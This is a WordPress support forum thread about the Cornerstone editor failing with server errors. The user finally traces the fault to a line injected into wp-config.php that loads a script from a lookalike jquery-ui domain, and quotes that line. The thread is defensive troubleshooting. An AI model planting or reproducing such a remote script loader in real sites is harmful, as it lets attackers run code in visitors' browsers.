Cannot load Cornerstone editor ("Uh-oh!")

I recently started having issues getting into Cornerstone to edit pages.

In dev console, it says:

Failed to load resource: the server responded with a status of 522 ()
jquery-migrate.min.js?ver=3.3.2:2 JQMIGRATE: Migrate is installed, version 3.3.2
/wp-json/themeco/data/index-content?search=&cursor=0&_locale=user:1          Failed to load resource: the server responded with a status of 500 ()
/favicon.ico:1          Failed to load resource: the server responded with a status of 500 ()
/wp-json/themeco/data/late-data?_locale=user:1          Failed to load resource: the server responded with a status of 500 ()
app.6f62d0f.js:2 Failed to get late app data Objectadditional_errors: []length: 0[[Prototype]]: Array(0)code: "internal_server_error"data: status: 500[[Prototype]]: Objectmessage: "<p>Det har uppstått ett kritiskt fel på webbplatsen.</p><p><a href=\"https://wordpress.org/support/article/faq-troubleshooting/\">Läs mer om felsökning i WordPress.</a></p>"[[Prototype]]: Object
(anonymous) @ app.6f62d0f.js:2
app.6f62d0f.js:2 Object
(anonymous) @ app.6f62d0f.js:2
react-dom.min.js?ver=17.0.1:9 Error: [object Object]
    at vt (app.6f62d0f.js:2:549473)
    at ct (react-dom.min.js?ver=17.0.1:9:43430)
    at Bt (react-dom.min.js?ver=17.0.1:9:50249)
    at os (react-dom.min.js?ver=17.0.1:9:112112)
    at Ur (react-dom.min.js?ver=17.0.1:9:77643)
    at Ir (react-dom.min.js?ver=17.0.1:9:77571)
    at Dr (react-dom.min.js?ver=17.0.1:9:77434)
    at Pr (react-dom.min.js?ver=17.0.1:9:74429)
    at react-dom.min.js?ver=17.0.1:9:30173
    at unstable_runWithPriority (react.min.js?ver=17.0.1:9:7431)
rr @ react-dom.min.js?ver=17.0.1:9
app.6f62d0f.js:2 Error: [object Object]
    at vt (app.6f62d0f.js:2:549473)
    at ct (react-dom.min.js?ver=17.0.1:9:43430)
    at Bt (react-dom.min.js?ver=17.0.1:9:50249)
    at os (react-dom.min.js?ver=17.0.1:9:112112)
    at Ur (react-dom.min.js?ver=17.0.1:9:77643)
    at Ir (react-dom.min.js?ver=17.0.1:9:77571)
    at Dr (react-dom.min.js?ver=17.0.1:9:77434)
    at Pr (react-dom.min.js?ver=17.0.1:9:74429)
    at react-dom.min.js?ver=17.0.1:9:30173
    at unstable_runWithPriority (react.min.js?ver=17.0.1:9:7431) Object

Any ideas?

I’ve tried reinstalling the theme, restoring backups, repairing database but nothing works.

Hi @adi12,

Thanks for reaching out.
I have checked your website and found the issue you described. I would suggest you deactivate and delete the Pro and reinstall it by downloading it from your Themeco Account once again, and check if that resolves your issue. If that does not help, there might be some different reasons behind your issue. I would like to suggest troubleshooting the following common issue to help us to recognize the reason.

  1. Theme Related Issue
  2. Plugin Conflict
  3. Theme Update related issue
  4. CSS/JS Customization
  5. Disabling Cache
  6. Disabling CDN

If you discover that an issue is coming from a custom code or 3rd party plugin, kindly consult with a developer or contact the plugin author. Please note that we do not provide support for custom codes and 3rd party plugins.
If none of the above help, please copy your live site to a staging server so we could troubleshoot freely without breaking your live site.
And give us access to the secure note including:

– WordPress Site URL & Login URL
– WordPress Admin username/password

To create a secure note, click the key icon underneath any of your posts.

Thanks

So, I found the issue. The below line was added to wp-config.php, probably a hacking attempt. Removing it solved the issue.

echo "<script type=\"text/javascript\" src=\"https://jquery-ui.icu/jquery-ui.js\"></script>";
1 Like

Hi @adi12,

Glad that it is resolved now.

Thanks

This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.